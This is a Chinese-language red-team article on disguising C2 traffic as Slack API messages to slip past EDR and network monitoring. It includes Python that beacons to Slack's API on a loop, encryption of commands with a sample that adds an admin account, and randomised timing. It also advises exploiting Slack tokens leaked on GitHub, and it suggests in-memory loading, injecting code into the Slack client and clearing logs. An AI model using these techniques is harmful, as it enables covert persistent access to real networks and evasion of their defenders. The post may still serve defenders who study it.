一、一个渗透行动中的流量伪装

目标是一个部署了EDR的企业内网环境。渗透测试过程中,我们成功钓鱼获取了一个普通员工的机器权限,但随后发现企业启用了严格的网络流量监控策略,结合EDR能够检测到异常的C2流量。这意味着,传统的HTTP beaconing或DNS协议通信将会被快速识别和封锁。

为继续深入,我们选择对C2流量进行伪装,通过模拟合法流量实现持久性控制。这篇文章就以这次渗透行动为例,分析如何实施网络流量伪装。从工具选择到技术实现,再到绕过检测,我们将完整展示这一过程。

黑客示意图

---

二、伪装的选择:混入日常流量

为什么要伪装?

流量分析工具(比如Zeek)和EDR的结合,可以捕获常见的C2通信模式,例如固定时间间隔的HTTP beacon、基于DNS的查询或自定义的TCP协议流量。为了对抗这些检测手段,我们需要将恶意流量伪装成合法的流量类型。

在这个案例中,目标企业的员工大量使用Slack和Microsoft Teams进行日常沟通。因此,我们决定将C2流量伪装成Slack API请求,通过模拟员工的通信行为来隐藏恶意流量。

Slack API流量伪装的优势

  • 广泛使用:目标企业的防护系统视Slack流量为常规流量,不会过多关注。
  • 灵活接口:Slack API提供了丰富的HTTP/JSON接口,可以轻松承载额外数据。
  • 动态通信:频繁的消息轮询使其流量模式复杂,难以被简单规则检测。

---

三、搭建实验环境:测试伪装效果

实验环境组件

  1. 目标EDR模拟:安装一款开源EDR工具(如OSQuery)模拟流量检测。
  2. C2服务器:基于Cobalt Strike搭建,配置自定义通信协议。
  3. Slack API模拟:使用Python编写伪造的Slack流量模块。

环境搭建过程

首先,我们需要获取Slack API的令牌(Token),可以通过正常注册开发者账号获得。如果目标企业的API令牌泄露到了某些公开资源库(比如GitHub),可以直接利用。

以下是实验环境的关键脚本,用来模拟Slack流量:

<pre><code class="language-python">import requests import json import time

Slack API配置

SLACK_API_URL = &quot;https://slack.com/api/chat.postMessage&quot; SLACK_TOKEN = &quot;xoxb-your-slack-token-here&quot; # 替换为实际token

C2信息伪装成Slack消息

def send_c2_payload(channel_id, text): headers = { &quot;Authorization&quot;: f&quot;Bearer {SLACK_TOKEN}&quot;, &quot;Content-Type&quot;: &quot;application/json&quot; } payload = { &quot;channel&quot;: channel_id, &quot;text&quot;: text # 恶意数据伪装成普通文本消息 } response = requests.post(SLACK_API_URL, headers=headers, json=payload) return response.status_code, response.text

模拟周期性C2流量

def simulate_c2(): target_channel = &quot;C0123456789&quot; # Slack中的目标频道ID while True:

伪装C2流量,每隔5秒发送一次

status, response = send_c2_payload(target_channel, &quot;Hello from C2!&quot;) print(f&quot;Message Sent. Status: {status}, Response: {response}&quot;) time.sleep(5)

if __name__ == &quot;__main__&quot;: simulate_c2()</code></pre>

测试效果

在实验环境中运行上述代码后,我们可以观察到恶意流量成功伪装成Slack消息。目标EDR未发出警告,这证明Slack流量模型在一定程度上绕过了流量检测。

---

四、深入伪装:Payload的隐秘传递

Slack消息中的恶意载荷

为了进一步测试伪装效果,我们将恶意载荷隐藏在Slack消息中。比如,在普通文本消息中加密后附带恶意命令。

加密与解密模块

以下代码展示如何隐藏信息,同时在接收端解密恢复:

加密端:

<pre><code class="language-python">from cryptography.fernet import Fernet

生成加密密钥

key = Fernet.generate_key() cipher = Fernet(key)

def encrypt_payload(payload):

加密恶意载荷

encrypted = cipher.encrypt(payload.encode()) return encrypted.decode()</code></pre>

解密端:

黑客示意图

<pre><code class="language-python">def decrypt_payload(encrypted_payload):

解密恶意载荷

decrypted = cipher.decrypt(encrypted_payload.encode()) return decrypted.decode()

黑客示意图

测试

encrypted_message = encrypt_payload(&quot;net user /add admin P@ssw0rd123!&quot;) print(&quot;Encrypted:&quot;, encrypted_message) print(&quot;Decrypted:&quot;, decrypt_payload(encrypted_message))</code></pre>

通过在Slack消息中存储加密后的恶意命令,我们可以进一步规避简单的流量分析。

流量伪装的动态性

在真实环境中,我们需要让C2通信的时间间隔和内容动态变化,模拟用户的行为。以下是通过随机时间和内容伪装流量的样例:

<pre><code class="language-python">import random

def dynamic_simulation(): target_channel = &quot;C0123456789&quot; messages = [&quot;User report uploaded&quot;, &quot;Meeting scheduled&quot;, &quot;Test message&quot;] while True:

随机选择消息并发送

message = random.choice(messages) send_c2_payload(target_channel, encrypt_payload(message)) print(f&quot;Dynamic Message Sent: {message}&quot;) time.sleep(random.randint(5, 20)) # 随机时间间隔</code></pre>

---

五、绕过检测的细节:对抗流量分析

伪装流量的关键点

  1. 时间间隔变动:避免固定周期发送,改为随机时间间隔。
  2. 流量内容混合:恶意载荷与正常内容混合,降低可疑性。
  3. 流量大小控制:符合常规Slack消息大小限制,避免过大或频繁。

对抗EDR的策略

现代EDR通常结合流量模式和终端行为分析,我们可以通过以下方式进一步对抗:

  • 内存加载恶意模块:避免在硬盘留下痕迹。
  • 线程注入:将恶意代码注入到合法进程中,如Slack客户端。
  • 日志清除:使用PowerShell脚本清除目标机器中的日志记录。

---

六、个人经验总结

在渗透测试中,流量伪装是绕过防御的重要环节,但实现伪装并不意味着万事大吉。如果目标配置了更高级的流量分析工具(如AI驱动流量检测),还需要结合其他对抗技术,比如动态流量生成、协议混淆等。

此外,伪装流量工具的选择也非常重要,比如使用开源工具Sliver可以轻松配置自定义协议,结合伪装流量实现完整的C2通信链。

黑客示意图

总之,流量伪装的核心是“像合法行为一样”,模仿目标环境的日常流量模式,同时不断测试和调整伪装效果。在红队渗透中,这是一项艺术,也是一项技术。